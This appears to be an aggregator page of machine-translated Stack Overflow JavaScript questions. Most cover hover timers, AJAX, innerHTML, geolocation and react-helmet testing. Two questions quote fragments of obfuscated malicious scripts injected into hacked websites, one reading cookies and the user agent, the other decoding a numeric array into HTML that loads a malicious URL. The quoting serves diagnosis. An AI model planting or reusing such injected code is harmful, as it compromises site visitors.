草庐IT

代码执行

全部标签

javascript - 网站被黑了——这段 Javascript 代码有什么作用?

刚发现我的网站被黑了。我将问题追溯到插入Suckerfish下拉菜单中的这段Javascript代码。我打算用干净的备份替换菜单,但我很好奇这段代码实际上做了什么?(function(){varkuk='ck5',de=document,n=navigator,u=n.userAgent,l='anguage';functionc(b){vari='indexOf',l='length',c=de.cookie;b=b+"=";vara=c[i](";"+b),d=c[i](";",a);if(a==-1){a=c[i](b);if(a!=0)return0}return1}n=/^e

javascript - 使函数在用户悬停在链接上 2 秒后执行

是的,我知道以前有人问过这个问题,但我找不到有效的答案。这是其他问题之一的公认答案:$('#element').hover(function(){$(this).data('timeout',window.setTimeout(function(){alert('hoveredfor2seconds');},2000));},function(){clearTimeout($(this).data('timeout'));alert('mouseleft');});http://jsfiddle.net/nCcxt/如您所见,它没有执行预期的操作。我需要的在理论上很简单,但我无法让它工

javascript - 加载ajax响应时jquery执行函数

我怎样才能执行一个在客户端等待服务器响应时运行的函数?这是我的代码。我查找并找到了一个.load()函数,但是它如何适合这个呢?任何帮助都会很棒!谢谢$.ajax({type:"POST",url:"mail.php",data:{name:name.val(),email:email.val(),phone:phone.val(),subject:subject.val(),message:message.val()}}).done(function(){alert("Yourmessagewassent.Wewillbeincontactwithyoushortly.");wind

javascript - 为什么这个混淆代码在 JavaScript 中是恶意的?

我的一个friend的网站被列为恶意网站,我们发现一些混淆代码在他不知情的情况下被注入(inject)到他的index.php中。我对代码进行了两级反混淆,发现了这一点:(codecanbeviewedintheedithistory)谁能告诉我它想做什么以及为什么它是恶意的......? 最佳答案 总而言之,代码“解码”了放置的HTML在恶意URL中加载。以下行具有“编码”的HTML:n=["9","9","45","42",...每个数字代表一个以base-25为基数的字符。代码将遍历此数组并使用javascript的Strin

javascript - 将 Javascript 变量放入 innerHTML 代码中

我正在使用Javascript创建一个表动态表:varrow=table.insertRow(-1);varcell1=row.insertCell(0);varcell2=row.insertCell(1);varcell3=row.insertCell(2);varcell4=row.insertCell(3);varcell5=row.insertCell(4);我想用一些带有Javascript变量的innerHTML填充cell5varadd=aux[i].split("#");cell5.innerHTML="";但这会在html中给出add[3]而不是add[3]中的值。

Javascript 命名函数定义在不应该执行的时候执行

我不知道这里发生了什么。代码是:if(true){console.log('Infirstfunctiondefinition');functiontest(){console.log('Helloworld');}}else{console.log('Inthesecondfunctiondefinition');functiontest(){console.log('Goodbyeworld');}}test();我希望这会登录到控制台:'Inthefirstfunctiondefinition''Helloworld'而是记录:'Inthefirstfunctiondefinit

javascript - AngularJS:如何在服务中完成 AJAX 调用后执行 Controller 功能?

这是我在服务中的代码。this.loginUser=function(checkUser){Parse.User.logIn(checkUser.username,checkUser.password,{success:function(user){$rootScope.$apply(function(){$rootScope.currentUser=user;});}});};这是我在Controller中的代码:$scope.logIn=function(){authenticationService.loginUser($scope.checkUser);console.log(

javascript - 地理定位在代码笔中不起作用

我正在尝试在codepen中实现一个简单的天气应用程序。该应用程序在本地主机上运行良好它请求使用navigator.geolocation的许可,如果被接受,它会显示天气,但在Codepen上,它甚至没有请求许可。这是链接http://codepen.io/asamolion/pen/BzWLVe这是JS函数functiongetWeather(){'usestrict';$('#getWeatherButton').hide();if(navigator.geolocation){navigator.geolocation.getCurrentPosition(function(po

javascript - Angular 2如何从innerHTML执行脚本标签

我已经通过http.get()方法加载了HTML页面,并将此页面的内容添加到div标签。getRequestToAssignPage(param:string):any{returnthis.$http.get(param).map((res:Response)=>{this.status=res;returnres.text();}).toPromise().then(response=>{letrestr:string=response;restr=restr.replace(/(]*)(?:[^])*?\/head>/ig,'').replace(/(]*?)>)/g,'').r

javascript - 单元测试 react Helm 代码

我正在使用react-helmet将元素添加到head元素。title我正在尝试编写这样的单元测试:it('shouldrendermetadata',()=>{constwrapper=mount();//thisisnotworking.expect(document.title).to.equal("title");}); 最佳答案 我自己想出了答案。我做了以下操作:it('shouldrendermetadata',()=>{constwrapper=mount();//thiswillreturnallthemarkupa